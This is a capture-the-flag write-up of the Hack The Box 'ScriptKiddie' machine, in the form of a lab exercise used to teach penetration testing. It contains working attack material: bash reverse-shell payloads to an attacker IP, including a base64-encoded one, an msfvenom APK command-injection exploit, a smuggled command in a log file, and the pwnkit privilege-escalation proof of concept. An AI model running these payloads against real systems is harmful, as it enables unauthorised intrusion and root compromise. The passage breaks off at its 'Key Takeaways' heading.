ScriptKiddie Writeup

16 October 2022 #CTF #HTB #box #easy #linux

scriptkiddie info

Enumeration

As fellow script kiddies ourselves, we will run an nmap scan:

$ sudo nmap -p- -T4 -oN enum/fulltcp.nmap 10.10.10.226
[...]
22/tcp   open  ssh
5000/tcp open  upnp
[...]
$ ports=$(awk -F/ '/^[[:digit:]]{1,5}\// {printf "%s,", $1}' enum/fulltcp.nmap)
$ sudo nmap -p $ports -sCV -oN enum/scripts-tcp.nmap 10.10.10.226
[...]
22/tcp   open  ssh     OpenSSH 8.2p1 Ubuntu 4ubuntu0.1 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   3072 3c656bc2dfb99d627427a7b8a9d3252c (RSA)
|   256 b9a1785d3c1b25e03cef678d71d3a3ec (ECDSA)
|_  256 8bcf4182c6acef9180377cc94511e843 (ED25519)
5000/tcp open  http    Werkzeug httpd 0.16.1 (Python 3.8.5)
|_http-title: k1d'5 h4ck3r t00l5
|_http-server-header: Werkzeug/0.16.1 Python/3.8.5
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
[...]

HTTP

Here is the website (very 1337):

kid's hacker tools

Let's try to run nmap:

run nmap

Cool, it actually ran nmap on localhost. We can try command injection:

try command injection

But we get 'invalid ip':

invalid ip

I tried pretty much every command injection technique I could think of but none of them worked. Same for the other tools.

After a bit of fucking around, we find that there is a vulnerability in msfvenom in the way that it handle apk files, leading to command injection.

Foothold

Download the script from exploit-db and change the payload line (the one with the comment 'Change me'):

# Change me
payload = 'bash -c "bash -i >& /dev/tcp/10.10.14.14/4242 0>&1"'

Then run the script to generate the malicious apk file:

$ python3 exp.py
[+] Manufacturing evil apkfile
Payload: bash -c "bash -i >& /dev/tcp/10.10.14.14/4242 0>&1"
-dname: CN='|echo YmFzaCAtYyAiYmFzaCAtaSA+JiAvZGV2L3RjcC8xMC4xMC4xNC4xNC80MjQyIDA+JjEi | base64 -d | sh #

  adding: empty (stored 0%)
Picked up _JAVA_OPTIONS: -Dawt.useSystemAAFontSettings=on -Dswing.aatext=true
keytool error: java.io.IOException: Incorrect AVA format
Traceback (most recent call last):
  File "/home/yep/CTF/HTB/machines/scriptkiddie/exp.py", line 40, in <module>
    subprocess.check_call(["keytool", "-genkey", "-keystore", keystore_file, "-alias", key_alias, "-storepass", storepass,
  File "/usr/lib/python3.10/subprocess.py", line 369, in check_call
    raise CalledProcessError(retcode, cmd)
subprocess.CalledProcessError: Command '['keytool', '-genkey', '-keystore', '/tmp/tmpr9m_y61n/signing.keystore', '-alias', 'signing.key', '-storepass', 'password', '-keypass', 'password', '-keyalg', 'RSA', '-keysize', '2048', '-dname', "CN='|echo YmFzaCAtYyAiYmFzaCAtaSA+JiAvZGV2L3RjcC8xMC4xMC4xNC4xNC80MjQyIDA+JjEi | base64 -d | sh #"]' returned non-zero exit status 1.

Looks like something went wrong. Judging by the error message, our base64 encoded payload must have some bad characters. And indeed it has some +. Let's try get rid of them by adding a few more spaces in our payload:

# Change me
payload = 'bash -c "bash  -i >& /dev/tcp/10.10.14.14/4242  0>&1"'

Execute again with your fingers crossed (very important):

$ python3 exp.py
[+] Manufacturing evil apkfile
Payload: bash -c "bash  -i >& /dev/tcp/10.10.14.14/4242  0>&1"
-dname: CN='|echo YmFzaCAtYyAiYmFzaCAgLWkgPiYgL2Rldi90Y3AvMTAuMTAuMTQuMTQvNDI0MiAgMD4mMSI= | base64 -d | sh #

  adding: empty (stored 0%)
Picked up _JAVA_OPTIONS: -Dawt.useSystemAAFontSettings=on -Dswing.aatext=true
Picked up _JAVA_OPTIONS: -Dawt.useSystemAAFontSettings=on -Dswing.aatext=true
jar signed.

Warning:
The signer's certificate is self-signed.
The SHA1 algorithm specified for the -digestalg option is considered a security risk. This algorithm will be disabled in a future update.
The SHA1withRSA algorithm specified for the -sigalg option is considered a security risk. This algorithm will be disabled in a future update.
POSIX file permission and/or symlink attributes detected. These attributes are ignored when signing and are not protected by the signature.

[+] Done! apkfile is at /tmp/tmp29zzdrbl/evil.apk
Do: msfvenom -x /tmp/tmp29zzdrbl/evil.apk -p android/meterpreter/reverse_tcp LHOST=127.0.0.1 LPORT=4444 -o /dev/null

Nice, it looks like it worked.

Now time to setup our nc reverse shell listener and upload this spooky apk to the server. We get an error message but we caught a reverse shell!

error message

Reverse Shell Upgrade

Let's get a proper reverse shell:

kid@scriptkiddie:~/html$ script -q -c bash /dev/null
script -q -c bash /dev/null
kid@scriptkiddie:~/html$ ^Z
[1]+  Stopped                 nc -lvnp 4242

$ stty raw -echo ; fg
nc -lvnp 4242

kid@scriptkiddie:~/html$ export TERM=xterm
kid@scriptkiddie:~/html$ stty cols 172 rows 33

I find the script method to be simpler than the python one but the effect is pretty much the same. We run stty to set our terminal size at the end so interactive programs like vim behave as they should.

Privesc

We have a shell as the 'kid' user. There is nothing of interest in the web directory (it is just a simple Flask app) or our home directory. Let's enumerate the users on this box:

kid@scriptkiddie:~$ grep 'sh$' /etc/passwd
root:x:0:0:root:/root:/bin/bash
kid:x:1000:1000:kid:/home/kid:/bin/bash
pwn:x:1001:1001::/home/pwn:/bin/bash

We can access pwn's home directory:

kid@scriptkiddie:~$ cd /home/pwn/
kid@scriptkiddie:/home/pwn$ ls -l
total 8
drwxrw---- 2 pwn pwn 4096 Oct 15 23:00 recon
-rwxrwxr-- 1 pwn pwn  250 Jan 28  2021 scanlosers.sh

scanlosers.sh Analysis

Let's take a look at this scanlosers.sh script:

#!/bin/bash

log=/home/kid/logs/hackers

cd /home/pwn/
cat $log | cut -d' ' -f3- | sort -u | while read ip; do
    sh -c "nmap --top-ports 10 -oN recon/${ip}.nmap ${ip} 2>&1 >/dev/null" &
done

if [[ $(wc -l < $log) -gt 0 ]]; then echo -n > $log; fi

It will read /home/kid/hackers and for each line do some text processing to extract an IP address and run nmap on this IP.

Since we have write access to /home/kid/logs/hacker and the script uses the output without any form of sanitazation there is a command injection vulnerability in this script.

cut -d' ' -f3- will split the line on spaces and output the 3rd field up to the last:

$ echo 'somebody once told me the world is gonna roll me' | cut -d' ' -f3-
told me the world is gonna roll me

sort -u will remove duplicate lines but it doesn't matter here because we will only write 1 line anyway.

This will be our payload:

g g ;bash -c "bash -i >& /dev/tcp/10.10.14.14/4242 0>&1" #

the first 2 g are here to match the cut call. Then we terminate the nmap command with ; and begin our classic reverse shell payload. At the end we put a comment with # to ignore everything that comes after (a ; would also work).

Time to write the paylaod to the file:

kid@scriptkiddie:/home/pwn$ echo 'g g ;bash -c "bash -i >& /dev/tcp/10.10.14.14/1337 0>&1" #' > /home/kid/logs/hackers
kid@scriptkiddie:/home/pwn$ cat /home/kid/logs/hackers
kid@scriptkiddie:/home/pwn$

Hmmm... it's empty? After a bit of troubleshooting, it looks like the script (scanlosers.sh) is ran each time the file /home/kid/logs/hackers is written to.

We just need to setup our nc reverse shell handler and rerun that echo command to get our reverse shell.

Shell as pwn

We are in as 'pwn'. Let's see if we have more luck with sudo rules:

pwn@scriptkiddie:~$ sudo -l
Matching Defaults entries for pwn on scriptkiddie:
    env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin

User pwn may run the following commands on scriptkiddie:
    (root) NOPASSWD: /opt/metasploit-framework-6.0.9/msfconsole

And we do! We can run msfconsole as root without password. Turns out msfconsole can act as a shell:

pwn@scriptkiddie:~$ sudo /opt/metasploit-framework-6.0.9/msfconsole

 _                                                    _
/ \    /\         __                         _   __  /_/ __
| |\  / | _____   \ \           ___   _____ | | /  \ _   \ \
| | \/| | | ___\ |- -|   /\    / __\ | -__/ | || | || | |- -|
|_|   | | | _|__  | |_  / -\ __\ \   | |    | | \__/| |  | |_
      |/  |____/  \___\/ /\ \\___/   \/     \__|    |_\  \___\


       =[ metasploit v6.0.9-dev                           ]
+ -- --=[ 2069 exploits - 1122 auxiliary - 352 post       ]
+ -- --=[ 592 payloads - 45 encoders - 10 nops            ]
+ -- --=[ 7 evasion                                       ]

Metasploit tip: Use help <command> to learn more about any command

msf6 > id
[*] exec: id

uid=0(root) gid=0(root) groups=0(root)

We can also use the irb command to get into a interactive ruby shell:

msf6 > irb
[*] Starting IRB shell...
[*] You are in the "framework" object

irb: warn: can't alias jobs from irb_jobs.
>> system('id')
uid=0(root) gid=0(root) groups=0(root)

system() is just a built-in ruby function, like os.system() in python.

The Easy Way

Would you believe me if I told you there way an easier way of getting root? It is an unintended way that didn't even exist when the box was released (06 February 2021).

If you happened to run linpeas.sh on this box you would notice that it is vulnerable to CVE-2021-4034 (aka pwnkit). This CVE was released the in January of 2022.

We'll use this poc. We'll need to compile stuff on the target box so we download the repo as a zip.

$ mkdir share
$ cd share
$ wget https://github.com/berdav/CVE-2021-4034/archive/refs/heads/main.zip
$ python -m http.server
Serving HTTP on 0.0.0.0 port 8000 (http://0.0.0.0:8000/) ...

On the target machine:

kid@scriptkiddie:/dev/shm$ cd /dev/shm
kid@scriptkiddie:/dev/shm$ wget 10.10.14.14:8000/main.zip
[...]
2022-10-16 13:23:48 (113 KB/s) - ‘main.zip’ saved [6457/6457]

kid@scriptkiddie:/dev/shm$ unzip main.zip
[...]
kid@scriptkiddie:/dev/shm$ cd CVE-2021-4034-main/
kid@scriptkiddie:/dev/shm/CVE-2021-4034-main$ make
cc -Wall --shared -fPIC -o pwnkit.so pwnkit.c
cc -Wall    cve-2021-4034.c   -o cve-2021-4034
echo "module UTF-8// PWNKIT// pwnkit 1" > gconv-modules
mkdir -p GCONV_PATH=.
cp -f /usr/bin/true GCONV_PATH=./pwnkit.so:.
kid@scriptkiddie:/dev/shm/CVE-2021-4034-main$ ./cve-2021-4034
# id
uid=0(root) gid=0(root) groups=0(root),1000(kid)

It's always pretty cool to see these kind of vulnerabilities on boxes where they are not meant to be there.

Key Takeaways